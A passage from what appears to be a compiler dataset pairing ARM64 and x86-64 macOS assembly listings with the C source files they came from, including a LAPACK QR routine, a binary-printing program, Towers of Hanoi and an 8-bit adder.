movl (%rax), %eax
movq -48(%rbp), %rcx
cmpl (%rcx), %eax
jle LBB0_41
## %bb.40:
movq -56(%rbp), %rax
movl (%rax), %eax
movq -40(%rbp), %rcx
cmpl (%rcx), %eax
jl LBB0_42
LBB0_41:
movq -40(%rbp), %rdi
movq -48(%rbp), %rsi
movq -64(%rbp), %rdx
movq -72(%rbp), %rcx
movslq -88(%rbp), %rax
shlq $3, %rax
addq %rax, %rcx
movq -80(%rbp), %r8
movq 16(%rbp), %r9
movslq -96(%rbp), %rax
shlq $3, %rax
addq %rax, %r9
movq 24(%rbp), %r11
movq 32(%rbp), %r10
addq $8, %r10
movq 48(%rbp), %rax
movq %r11, (%rsp)
movq %r10, 8(%rsp)
movq %rax, 16(%rsp)
callq _dgeqrt_
movl $0, -28(%rbp)
jmp LBB0_52
LBB0_42:
movq -40(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
subl (%rcx), %eax
movq -56(%rbp), %rcx
movl (%rcx), %ecx
movq -48(%rbp), %rdx
subl (%rdx), %ecx
cltd
idivl %ecx
movl %edx, -120(%rbp)
movq -40(%rbp), %rax
movl (%rax), %eax
subl -120(%rbp), %eax
addl $1, %eax
movl %eax, -116(%rbp)
movq -56(%rbp), %rdi
movq -48(%rbp), %rsi
movq -64(%rbp), %rdx
movq -72(%rbp), %rcx
movl -84(%rbp), %eax
addl $1, %eax
cltq
shlq $3, %rax
addq %rax, %rcx
movq -80(%rbp), %r8
movq 16(%rbp), %r9
movslq -96(%rbp), %rax
shlq $3, %rax
addq %rax, %r9
movq 24(%rbp), %r11
movq 32(%rbp), %r10
addq $8, %r10
movq 48(%rbp), %rax
movq %r11, (%rsp)
movq %r10, 8(%rsp)
movq %rax, 16(%rsp)
callq _dgeqrt_
movl $1, -128(%rbp)
movl -116(%rbp), %eax
movq -56(%rbp), %rcx
subl (%rcx), %eax
movq -48(%rbp), %rcx
addl (%rcx), %eax
movl %eax, -100(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
subl (%rcx), %eax
movl %eax, -104(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
addl $1, %eax
movl %eax, -112(%rbp)
LBB0_43: ## =>This Inner Loop Header: Depth=1
cmpl $0, -104(%rbp)
jge LBB0_45
## %bb.44: ## in Loop: Header=BB0_43 Depth=1
movl -112(%rbp), %eax
cmpl -100(%rbp), %eax
setge %al
andb $1, %al
movzbl %al, %eax
movl %eax, -144(%rbp) ## 4-byte Spill
jmp LBB0_46
LBB0_45: ## in Loop: Header=BB0_43 Depth=1
movl -112(%rbp), %eax
cmpl -100(%rbp), %eax
setle %al
andb $1, %al
movzbl %al, %eax
movl %eax, -144(%rbp) ## 4-byte Spill
LBB0_46: ## in Loop: Header=BB0_43 Depth=1
movl -144(%rbp), %eax ## 4-byte Reload
cmpl $0, %eax
je LBB0_49
## %bb.47: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
subl (%rcx), %eax
movl %eax, -108(%rbp)
movq -48(%rbp), %rsi
movq -64(%rbp), %rcx
movq -72(%rbp), %r8
movl -84(%rbp), %eax
addl $1, %eax
cltq
shlq $3, %rax
addq %rax, %r8
movq -80(%rbp), %r9
movq -72(%rbp), %r15
movl -112(%rbp), %eax
addl -84(%rbp), %eax
cltq
shlq $3, %rax
addq %rax, %r15
movq -80(%rbp), %r14
movq 16(%rbp), %rbx
movl -128(%rbp), %eax
movq -48(%rbp), %rdx
imull (%rdx), %eax
addl $1, %eax
imull -92(%rbp), %eax
addl $1, %eax
cltq
shlq $3, %rax
addq %rax, %rbx
movq 24(%rbp), %r11
movq 32(%rbp), %r10
addq $8, %r10
movq 48(%rbp), %rax
leaq -108(%rbp), %rdi
leaq _c__0(%rip), %rdx
movq %r15, (%rsp)
movq %r14, 8(%rsp)
movq %rbx, 16(%rsp)
movq %r11, 24(%rsp)
movq %r10, 32(%rsp)
movq %rax, 40(%rsp)
callq _dtpqrt_
movl -128(%rbp), %eax
addl $1, %eax
movl %eax, -128(%rbp)
## %bb.48: ## in Loop: Header=BB0_43 Depth=1
movl -104(%rbp), %eax
addl -112(%rbp), %eax
movl %eax, -112(%rbp)
jmp LBB0_43
LBB0_49:
movl -116(%rbp), %eax
movq -40(%rbp), %rcx
cmpl (%rcx), %eax
jg LBB0_51
## %bb.50:
movq -48(%rbp), %rsi
movq -64(%rbp), %rcx
movq -72(%rbp), %r8
movl -84(%rbp), %eax
addl $1, %eax
cltq
shlq $3, %rax
addq %rax, %r8
movq -80(%rbp), %r9
movq -72(%rbp), %r15
movl -116(%rbp), %eax
addl -84(%rbp), %eax
cltq
shlq $3, %rax
addq %rax, %r15
movq -80(%rbp), %r14
movq 16(%rbp), %rbx
movl -128(%rbp), %eax
movq -48(%rbp), %rdx
imull (%rdx), %eax
addl $1, %eax
imull -92(%rbp), %eax
addl $1, %eax
cltq
shlq $3, %rax
addq %rax, %rbx
movq 24(%rbp), %r11
movq 32(%rbp), %r10
addq $8, %r10
movq 48(%rbp), %rax
leaq -120(%rbp), %rdi
leaq _c__0(%rip), %rdx
movq %r15, (%rsp)
movq %r14, 8(%rsp)
movq %rbx, 16(%rsp)
movq %r11, 24(%rsp)
movq %r10, 32(%rsp)
movq %rax, 40(%rsp)
callq _dtpqrt_
LBB0_51:
movq -48(%rbp), %rax
movl (%rax), %eax
movq -64(%rbp), %rcx
imull (%rcx), %eax
cvtsi2sd %eax, %xmm0
movq 32(%rbp), %rax
movsd %xmm0, 8(%rax)
movl $0, -28(%rbp)
LBB0_52:
movl -28(%rbp), %eax
addq $168, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "DLATSQR"
.zerofill __DATA,__bss,_c__0,4,2 ## @c__0
.subsections_via_symbols
| the_stack_data/124535.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _func ; -- Begin function func
.p2align 2
_func: ; @func
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str w1, [sp, #4]
str wzr, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
subs w8, w8, #50
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp]
ldr x9, [sp, #8]
str w8, [x9]
ldr x8, [sp, #8]
add x8, x8, #4
str x8, [sp, #8]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB0_1
LBB0_4:
ldr w8, [sp, #4]
subs w8, w8, #10
cset w8, le
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldr x8, [sp, #8]
subs x8, x8, #4
str x8, [sp, #8]
ldr x9, [sp, #8]
mov w8, #1024
str w8, [x9]
b LBB0_6
LBB0_6:
mov w0, #0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
add x8, sp, #12
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
mov x0, #200
bl _malloc
str x0, [sp, #16]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
mov w8, #1
stur w8, [x29, #-4]
b LBB1_3
LBB1_2:
ldr x0, [sp, #16]
ldr w1, [sp, #12]
bl _func
ldr x8, [sp, #16]
ldr w8, [x8]
ldr x9, [sp, #16]
ldr w9, [x9, #196]
add w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x0, [sp, #16]
bl _free
stur wzr, [x29, #-4]
b LBB1_3
LBB1_3:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _func ## -- Begin function func
.p2align 4, 0x90
_func: ## @func
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $50, -16(%rbp)
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %ecx
movq -8(%rbp), %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -8(%rbp)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_1
LBB0_4:
cmpl $10, -12(%rbp)
jle LBB0_6
## %bb.5:
movq -8(%rbp), %rax
addq $-4, %rax
movq %rax, -8(%rbp)
movq -8(%rbp), %rax
movl $1024, (%rax) ## imm = 0x400
LBB0_6:
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -20(%rbp), %rsi
movb $0, %al
callq _scanf
movl $200, %edi
callq _malloc
movq %rax, -16(%rbp)
cmpq $0, -16(%rbp)
jne LBB1_2
## %bb.1:
movl $1, -4(%rbp)
jmp LBB1_3
LBB1_2:
movq -16(%rbp), %rdi
movl -20(%rbp), %esi
callq _func
movq -16(%rbp), %rax
movl (%rax), %esi
movq -16(%rbp), %rax
addl 196(%rax), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rdi
callq _free
movl $0, -4(%rbp)
LBB1_3:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.subsections_via_symbols
| the_stack_data/167331472.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #208
.cfi_def_cfa_offset 208
stp x29, x30, [sp, #192] ; 16-byte Folded Spill
add x29, sp, #192
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #48]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #52
str x8, [sp, #16] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _strlen
mov x8, x0
str w8, [sp, #36]
str wzr, [sp, #28]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_9 Depth 2
ldr w8, [sp, #28]
ldr w9, [sp, #36]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_13
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #32]
ldrsw x9, [sp, #28]
add x8, sp, #52
add x8, x8, x9
ldrb w8, [x8]
strb w8, [sp, #47]
ldrsb w8, [sp, #47]
str w8, [sp, #40]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #40]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_8
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #40]
mov w10, #2
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldrsw x10, [sp, #32]
sub x9, x29, #40
mov w8, #0
str w8, [x9, x10, lsl #2]
ldr w8, [sp, #40]
mov w9, #2
sdiv w8, w8, w9
str w8, [sp, #40]
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_7
LBB0_6: ; in Loop: Header=BB0_3 Depth=2
ldrsw x10, [sp, #32]
sub x9, x29, #40
mov w8, #1
str w8, [x9, x10, lsl #2]
ldr w8, [sp, #40]
mov w9, #2
sdiv w8, w8, w9
str w8, [sp, #40]
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=2
b LBB0_3
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #32]
subs w8, w8, #1
str w8, [sp, #32]
b LBB0_9
LBB0_9: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #32]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=2
ldrsw x9, [sp, #32]
sub x8, x29, #40
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr w8, [sp, #32]
subs w8, w8, #1
str w8, [sp, #32]
b LBB0_9
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_13:
ldr w8, [sp, #48]
str w8, [sp, #12] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14:
bl ___stack_chk_fail
LBB0_15:
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #192] ; 16-byte Folded Reload
add sp, sp, #208
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter a string: \n"
l_.str.1: ; @.str.1
.asciz "%s"
l_.str.2: ; @.str.2
.asciz "%d"
l_.str.3: ; @.str.3
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $192, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -164(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -160(%rbp), %rsi
movb $0, %al
callq _scanf
leaq -160(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -176(%rbp)
movl $0, -184(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_9 Depth 2
movl -184(%rbp), %eax
cmpl -176(%rbp), %eax
jge LBB0_13
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -180(%rbp)
movslq -184(%rbp), %rax
movb -160(%rbp,%rax), %al
movb %al, -165(%rbp)
movsbl -165(%rbp), %eax
movl %eax, -172(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $0, -172(%rbp)
jle LBB0_8
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl -172(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
cmpl $0, %edx
jne LBB0_6
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movslq -180(%rbp), %rax
movl $0, -48(%rbp,%rax,4)
movl -172(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, -172(%rbp)
movl -180(%rbp), %eax
addl $1, %eax
movl %eax, -180(%rbp)
jmp LBB0_7
LBB0_6: ## in Loop: Header=BB0_3 Depth=2
movslq -180(%rbp), %rax
movl $1, -48(%rbp,%rax,4)
movl -172(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, -172(%rbp)
movl -180(%rbp), %eax
addl $1, %eax
movl %eax, -180(%rbp)
LBB0_7: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_3
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
movl -180(%rbp), %eax
addl $-1, %eax
movl %eax, -180(%rbp)
LBB0_9: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $0, -180(%rbp)
jl LBB0_11
## %bb.10: ## in Loop: Header=BB0_9 Depth=2
movslq -180(%rbp), %rax
movl -48(%rbp,%rax,4), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl -180(%rbp), %eax
addl $-1, %eax
movl %eax, -180(%rbp)
jmp LBB0_9
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
## %bb.12: ## in Loop: Header=BB0_1 Depth=1
movl -184(%rbp), %eax
addl $1, %eax
movl %eax, -184(%rbp)
jmp LBB0_1
LBB0_13:
movl -164(%rbp), %eax
movl %eax, -188(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_15
## %bb.14:
movl -188(%rbp), %eax ## 4-byte Reload
addq $192, %rsp
popq %rbp
retq
LBB0_15:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter a string: \n"
L_.str.1: ## @.str.1
.asciz "%s"
L_.str.2: ## @.str.2
.asciz "%d"
L_.str.3: ## @.str.3
.asciz "\n"
.subsections_via_symbols
| the_stack_data/136852.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _move ; -- Begin function move
.p2align 2
_move: ; @move
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
ldur w8, [x29, #-4]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur w8, [x29, #-8]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_3
LBB0_2:
ldur w8, [x29, #-4]
subs w0, w8, #1
ldur w1, [x29, #-8]
ldur w9, [x29, #-8]
mov w8, #6
str w8, [sp, #16] ; 4-byte Folded Spill
subs w8, w8, w9
ldur w9, [x29, #-12]
subs w2, w8, w9
bl _move
ldur w8, [x29, #-8]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w8, [sp, #16] ; 4-byte Folded Reload
ldur w9, [x29, #-4]
subs w0, w9, #1
ldur w9, [x29, #-8]
subs w8, w8, w9
ldur w9, [x29, #-12]
subs w1, w8, w9
ldur w2, [x29, #-12]
bl _move
b LBB0_3
LBB0_3:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _puts
sub x8, x29, #8
str x8, [sp, #8] ; 8-byte Folded Spill
stur wzr, [x29, #-8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _puts
ldr x8, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _scanf
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _puts
ldur w0, [x29, #-8]
mov w1, #1
mov w2, #2
bl _move
ldur w0, [x29, #-12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d --> %d\n"
l_.str.1: ; @.str.1
.asciz "1,2,3 represent A,B,C respectively. "
l_.str.2: ; @.str.2
.asciz "Please input the quantity of plate.(Origin story is 64)"
l_.str.3: ; @.str.3
.asciz "%d"
l_.str.4: ; @.str.4
.asciz "---------"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _move ## -- Begin function move
.p2align 4, 0x90
_move: ## @move
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
cmpl $1, -4(%rbp)
jne LBB0_2
## %bb.1:
movl -8(%rbp), %esi
movl -12(%rbp), %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_3
LBB0_2:
movl -4(%rbp), %edi
subl $1, %edi
movl -8(%rbp), %esi
movl $6, %edx
subl -8(%rbp), %edx
subl -12(%rbp), %edx
callq _move
movl -8(%rbp), %esi
movl -12(%rbp), %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -4(%rbp), %edi
subl $1, %edi
movl $6, %esi
subl -8(%rbp), %esi
subl -12(%rbp), %esi
movl -12(%rbp), %edx
callq _move
LBB0_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str.1(%rip), %rdi
callq _puts
movl $0, -8(%rbp)
leaq L_.str.2(%rip), %rdi
callq _puts
leaq L_.str.3(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.4(%rip), %rdi
callq _puts
movl -8(%rbp), %edi
movl $1, %esi
movl $2, %edx
callq _move
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d --> %d\n"
L_.str.1: ## @.str.1
.asciz "1,2,3 represent A,B,C respectively. "
L_.str.2: ## @.str.2
.asciz "Please input the quantity of plate.(Origin story is 64)"
L_.str.3: ## @.str.3
.asciz "%d"
L_.str.4: ## @.str.4
.asciz "---------"
.subsections_via_symbols
| the_stack_data/7202.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/64200935.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ; -- Begin function foo
.p2align 2
_foo: ; @foo
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,_foo.barbarbarbar,4,2 ; @foo.barbarbarbar
.zerofill __DATA,__bss,_bof,4,2 ; @bof
.no_dead_strip _foo.barbarbarbar
.no_dead_strip _bof
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ## -- Begin function foo
.p2align 4, 0x90
_foo: ## @foo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,_foo.barbarbarbar,4,2 ## @foo.barbarbarbar
.zerofill __DATA,__bss,_bof,4,2 ## @bof
.no_dead_strip _foo.barbarbarbar
.no_dead_strip _bof
.subsections_via_symbols
| the_stack_data/114187.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _add8u_0AX ; -- Begin function add8u_0AX
.p2align 2
_add8u_0AX: ; @add8u_0AX
.cfi_startproc
; %bb.0:
sub sp, sp, #176
.cfi_def_cfa_offset 176
stp x29, x30, [sp, #160] ; 16-byte Folded Spill
add x29, sp, #160
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #80]
str x1, [sp, #72]
str xzr, [sp, #64]
ldr x8, [sp, #80]
lsr x8, x8, #0
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-40]
ldr x8, [sp, #72]
lsr x8, x8, #0
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-72]
ldr x8, [sp, #80]
lsr x8, x8, #1
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-36]
ldr x8, [sp, #72]
lsr x8, x8, #1
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-68]
ldr x8, [sp, #80]
lsr x8, x8, #2
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-32]
ldr x8, [sp, #72]
lsr x8, x8, #2
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-64]
ldr x8, [sp, #80]
lsr x8, x8, #3
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-28]
ldr x8, [sp, #72]
lsr x8, x8, #3
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-60]
ldr x8, [sp, #80]
lsr x8, x8, #4
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-24]
ldr x8, [sp, #72]
lsr x8, x8, #4
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-56]
ldr x8, [sp, #80]
lsr x8, x8, #5
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-20]
ldr x8, [sp, #72]
lsr x8, x8, #5
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-52]
ldr x8, [sp, #80]
lsr x8, x8, #6
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-16]
ldr x8, [sp, #72]
lsr x8, x8, #6
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-48]
ldr x8, [sp, #80]
lsr x8, x8, #7
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-12]
ldr x8, [sp, #72]
lsr x8, x8, #7
and x8, x8, #0x1
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-44]
str wzr, [sp, #60]
mov w8, #-1
str w8, [sp, #56]
str w8, [sp, #52]
ldur w8, [x29, #-48]
ldur w9, [x29, #-16]
eor w8, w8, w9
